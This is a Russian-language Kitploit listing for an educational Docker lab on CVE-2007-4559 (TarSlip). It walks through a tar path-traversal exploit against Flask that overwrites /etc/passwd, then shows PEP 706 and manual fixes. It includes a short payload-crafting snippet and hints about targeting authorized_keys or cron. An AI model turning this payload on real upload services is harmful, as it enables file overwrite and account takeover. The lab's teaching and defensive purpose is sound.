Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2007-4559-lab — Автономная лаборатория Docker, демонстрирующая обход каталогов CVE-2007-4559 (TarSlip) через модуль tarfile Python. Включает уязвимые и исправленные API, генерацию полезной нагрузки и интерактивный демонстрационный скрипт для обучения безопасности. | Kitploit
Инструменты/GitHubGitHub/jithinodattu/cve-2007-4559-lab
Статический анализАнализ уязвимостейАнализ КодаЭксплуатация веб-приложенийCTFБезопасность Цепочки ПоставокОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubjithinodattu/cve-2007-4559-lab

CVE-2007-4559-lab

Автономная лаборатория Docker, демонстрирующая обход каталогов CVE-2007-4559 (TarSlip) через модуль tarfile Python. Включает уязвимые и исправленные API, генерацию полезной нагрузки и интерактивный демонстрационный скрипт для обучения безопасности.

Репозиторий
74 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2007-4559 — TarSlip: 15-летний обход каталогов

Только для образовательных целей. Эта лаборатория намеренно эксплуатирует уязвимости файловой системы в изолированных Docker-контейнерах. Не запускайте в системах с конфиденциальными данными или в производственных средах.

Автономная Docker-лаборатория, демонстрирующая CVE-2007-4559 — печально известную уязвимость «TarSlip» в модуле Python tarfile — через полную цепочку атак «от начала до конца»:

  1. Злоумышленник загружает поддельный tarball в API для загрузки файлов.
  2. extractall() слепо записывает запись tar с именем ../../../etc/passwd за пределами каталога распаковки, перезаписывая реальный системный файл.
  3. Внедрённый пароль предоставляет злоумышленнику доступ к защищённой конечной точке /admin.
  4. Затем та же атака выполняется против исправленного API — и блокируется одной строкой кода.

Уязвимость

tarfile.extractall() в Python добросовестно воспроизводит каждую запись в архиве tar, включая записи, имена которых содержат последовательности обхода каталогов . Она .

../
никогда не задумывалась как граница безопасности
root@kitploit:~
имя записи tar  : ../../../etc/passwd
каталог извлечения : /shared/uploads/a1b2c3d4/

разрешённый путь  : /shared/uploads/a1b2c3d4/../../../etc/passwd
               = /etc/passwd   ← системный файл перезаписан
Хронология
2007Ошибка сообщена группе безопасности Python
2007 – 2022Отмечено как «не проблема безопасности» — tarfile «работает как задумано»
2022Исследователи Trellix сканируют GitHub и находят более 350 000 репозиториев, вызывающих extractall() для непроверенных входных данных
2022Публичное раскрытие. CVE-2007-4559 всплывает снова. Паника в индустрии.
2023PEP 706 включает filter='data' в Python 3.12 — исправление в одном аргументе

Что показывает демонстрация

Демонстрация проходит в три этапа, каждый из которых требует нажатия клавиши для продолжения.

Этап 1 — Базовый уровень

  • GET /admin → 401. Конечная точка admin существует и защищена. Злоумышленник не знает пароль.
  • Загрузка innocent.tar.gz → файлы попадают в каталог песочницы. Всё выглядит нормально.

Этап 2 — Эксплойт

root@kitploit:~
Злоумышленник создаёт tarslip_passwd.tar.gz
  └─ запись: "../../../etc/passwd"
       содержимое: admin:hacked:1001:...   ← внедрённый пароль
            │
            ▼
  POST /upload  (загрузка multipart-файла)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  разрешает "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — «Welcome, admin! You have full admin access.»
  флаг: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

Один HTTP POST. Никакой оболочки. Никакой RCE-нагрузки. Просто tar-файл.

Этап 3 — Исправление

Тот же tarball загружается в исправленный API, который передаёт filter='data' в extractall(). Python вызывает tarfile.OutsideDestinationError — обход блокируется, /etc/passwd не тронут, а /admin остаётся закрытым.

root@kitploit:~
# Уязвимый — по умолчанию до Python 3.14
tar.extractall(extraction_dir)

# Исправленный — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')

Один аргумент. Пятнадцать лет на внедрение.


Архитектура

Четыре сервиса в изолированной сети Docker bridge (tarslip-net). Ничего не выходит в интернет.

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (bridge)                  │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  порт 8000      │      │       порт 8080 (хост)   │  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  Обслуживает /shared по  │  │
│  │  GET  /admin    │      │  HTTP — визуальный про-  │  │
│  │  GET  /health   │      │  смотр извлечённых       │  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  том shared-storage        │                 │
│           └────────────────────────────┘                 │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (нет порта хоста — только внутренний)│
│  │                 │                                     │
│  │  craft_malicious.py  — генерирует tarball'ы           │
│  │  demo.py             — управляет демонстрацией        │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘
СервисОбразРольПорт хоста
vulnerable-apipython:3.11.3-slimFlask API загрузки + /admin, защищённый аутентификацией через /etc/passwd8000
fixed-apipython:3.12-slimТот же код + USE_SAFE_EXTRACTION=true8000
file-servernginx:alpineСписок каталогов извлечённых файлов8080
attackerpython:3.12-slimГенератор нагрузок + драйвер демонстрации—

Уязвимый и исправленный API используют идентичный исходный код. Единственное отличие — переменная окружения USE_SAFE_EXTRACTION=true в исправленном контейнере, которая включает единственный аргумент filter='data'.


Структура репозитория

root@kitploit:~
CVE-2007-4559-lab/
├── run_demo.sh                      ← начните здесь
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # Flask API: /upload + /admin + /health
│   ├── Dockerfile                   # вносит admin:s3cr3t_Adm1nPass в /etc/passwd
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # генерирует innocent.tar.gz + tarslip_passwd.tar.gz
    ├── demo.py                      # CLI-драйвер с четырьмя режимами (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

Предварительные требования

  • Docker 20.10+ с плагином Compose (docker compose version)
  • macOS / Linux — скрипт использует bash
  • Порты 8000 и 8080 свободны на вашем хосте

Запуск демонстрации

root@kitploit:~
git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

Скрипт полностью интерактивен. Он печатает пояснения перед каждым шагом и ждёт нажатия Enter для продолжения. Для понимания не требуется предварительных знаний Docker.

Что охватывает каждая точка паузы

ПаузаПоказываемое описаниеДействие по Enter
1Хронология CVE, описание трёх этаповСборка уязвимого стека
2Роли контейнеров, внедрённый пароль администратораГенерация нагрузок
3Что внутри каждого tarball'аЭтап 1 — базовый уровень
4Почему /admin возвращает 401, как выглядит обычная распаковкаЭтап 2 — эксплойт
5Точные вычисления обхода, что перезаписываетсяПереключение на исправленный стек
6Что такое filter='data' и почему это работаетЭтап 3 — проверка
7Ключевые выводы + более общий паттерн ZipSlipОстановка

Запуск этапов по отдельности

Если вы хотите пройти шаги вручную:

root@kitploit:~
# Уязвимый стек
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# Исправленный стек
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# Остановка
docker compose -f docker-compose.fixed.yml down

Визуальный осмотр

Пока уязвимый стек запущен, откройте http://localhost:8080/uploads/, чтобы в браузере просмотреть каталоги сессий с извлечёнными файлами.


Как работает конечная точка /admin

API вносит секретный пароль администратора в /etc/passwd на этапе сборки образа:

root@kitploit:~
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

GET /admin читает этот файл и проверяет второе поле (пароль) на соответствие учётным данным HTTP Basic Auth. Злоумышленник не знает s3cr3t_Adm1nPass — но после того, как TarSlip перезаписывает файл его собственной версией, содержащей admin:hacked, он его узнаёт.

Это упрощённая модель реальных целей: SSH authorized_keys, конфигурационные файлы приложений, задачи cron и любые файлы учётных данных, которые может записать веб-процесс.


Как создаются нагрузки

craft_malicious.py использует собственный модуль Python tarfile — тот самый, в котором есть ошибка:

root@kitploit:~
def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name — путь обхода
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# Имя записи разрешается в /etc/passwd при извлечении в /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

Никаких специальных инструментов. Никакой бинарной эксплуатации. Стандартная библиотека является одновременно и оружием, и жертвой.


Объяснение исправления

Python 3.12 ввёл filter= в PEP 706. Фильтр 'data':

  • Отклоняет записи, которые разрешаются за пределами целевого каталога
  • Удаляет биты setuid/setgid
  • Игнорирует файлы устройств и жёсткие ссылки на небезопасные пути
  • Вызывает tarfile.OutsideDestinationError при попытке обхода
root@kitploit:~
# До (уязвимо — по-прежнему по умолчанию до Python 3.14)
with tarfile.open(path) as tar:
    tar.extractall(dest)

# После (безопасно)
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

Для Python 3.11 и более ранних версий проверяйте вручную:

root@kitploit:~
import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"Небезопасный путь: {member.name}")
    tar.extractall(dest)

Статический анализ: правило B202 в bandit помечает небезопасные вызовы extractall() в CI.


Более широкое влияние — ZipSlip

TarSlip — это название в Python класса уязвимостей, существующих во всех языках с API распаковки архивов:

ЯзыкУязвимый APICVE / Рекомендация
Pythontarfile.extractall()CVE-2007-4559
JavaZipInputStreamZipSlip (2018)
Goarchive/zipZipSlip (2018)
.NETZipArchiveZipSlip (2018)
Node.jstar, adm-zip, др.ZipSlip (2018)

Одна и та же первопричина везде: доверие путям из непроверенных архивов. Одно и то же исправление везде: канонизировать и проверять перед записью.


Разные аудитории

Для разработчиков

Сосредоточьтесь на различии кода до/после и правиле bandit B202. Цель — «как предотвратить это в нашей кодовой базе?» — покажите руководство по миграции на PEP 706 и как добавить проверку в CI.

Для специалистов по безопасности

Сосредоточьтесь на методологии раскрытия Trellix — как они искали в GitHub в масштабе, оценивали влияние на 350 000 репозиториев и справлялись с ответственным раскрытием для такой широко распространённой уязвимости.

Для участников CTF

Расширьте craft_malicious.py, чтобы внедрить файл SSH authorized_keys или вредоносную запись cron вместо /etc/passwd. Та же техника, другие цели — показывает, что любой записываемый путь является поверхностью атаки.


Ссылки

  • NVD — CVE-2007-4559
  • PEP 706 — Filter for tarfile.extractall
  • Trellix — «15 Years Later: On the Dangers of Zip/Tar Slip»
  • Трекер ошибок Python — bpo-21109 (оригинальный отчёт 2007 года)
  • Bandit B202
  • Рекомендация Snyk по ZipSlip

Лицензия

MIT — используйте свободно в образовательных целях, для исследований безопасности и демонстраций на конференциях. Не используйте методы генерации нагрузок против систем, которые вам не принадлежат.

Скачать инструмент